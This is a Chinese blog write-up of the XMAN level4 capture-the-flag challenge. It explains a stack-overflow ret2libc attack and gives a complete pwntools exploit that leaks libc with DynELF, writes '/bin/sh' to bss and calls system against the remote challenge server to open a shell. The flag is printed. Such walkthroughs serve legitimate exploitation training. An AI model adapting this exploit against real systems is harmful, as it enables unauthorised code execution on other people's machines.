zoukankan      html  css  js  c++  java
  • XMAN-level4

    [XMAN] level4

    首先checksec,信息如下

    [*] '/root/Desktop/bin/pwn/xman-level4/level4'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    

    没开栈保护,于是考虑栈溢出。

    刚做完stack(ret2libc),看到这题直接就想到泄露libc版本,一开始尝试和stack一样的做法,即泄露read和write函数的地址从而找到远程libc的版本,但是试了一发发现找不到libc版本。。。

    然后就用DynELF,得到system的真实地址。用read函数将'/bin/shx00'写入bss段,然后通过三次pop调用system函数,参数使用bss地址,即system('/bin/sh')。

    exp如下

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    __Author__ = "LB@10.0.0.55"
    
    from pwn import *
    #context.log_level = "debug"
    
    #io = process('./level4')
    io = remote('pwn2.jarvisoj.com', 9880)
    elf = ELF('./level4')
    #libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    
    #get_system_addr
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    main_addr = elf.symbols['main']
    
    def leak(address):
    
    	payload = flat(['a'*0x88+'f**k', write_plt, main_addr, 1, address, 4])
    	io.sendline(payload)
    	data = io.recv(4)
    	return data
    
    dynelf = DynELF(leak, elf=ELF('./level4'))
    sys_addr = dynelf.lookup('system', 'libc')
    print 'system_addr:', hex(sys_addr)
    
    #get_the_shell
    bss_addr = 0x0804A024
    read_plt = elf.plt['read']
    #ROPgadget --binary level4  --only "pop|ret"
    ppp_addr = 0x08048509
    
    payload = flat(['a'*0x88+'f**k', read_plt, ppp_addr, 0, bss_addr, 8, sys_addr, 0xdeadbeef, bss_addr ])
    io.sendline(payload)
    io.sendline('/bin/shx00')
    
    io.interactive()
    #flag:CTF{882130cf51d65fb705440b218e94e98e}
    

    >###作者: LB919 >###出处:http://www.cnblogs.com/L1B0/ >###如有转载,荣幸之至!请随手标明出处;
  • 相关阅读:
    JavaScript&DOM
    avalon.js的循环操作在表格中的应用
    merge()
    建立表空间以及用户
    SSI框架下,用jxl实现导出功能
    SQL递归查询实现组织机构树
    vue+webpack实践
    使用canvas绘制一片星空
    在canvas中使用html元素
    CSS3-transform 转换/变换
  • 原文地址:https://www.cnblogs.com/L1B0/p/8393967.html
Copyright © 2011-2022 走看看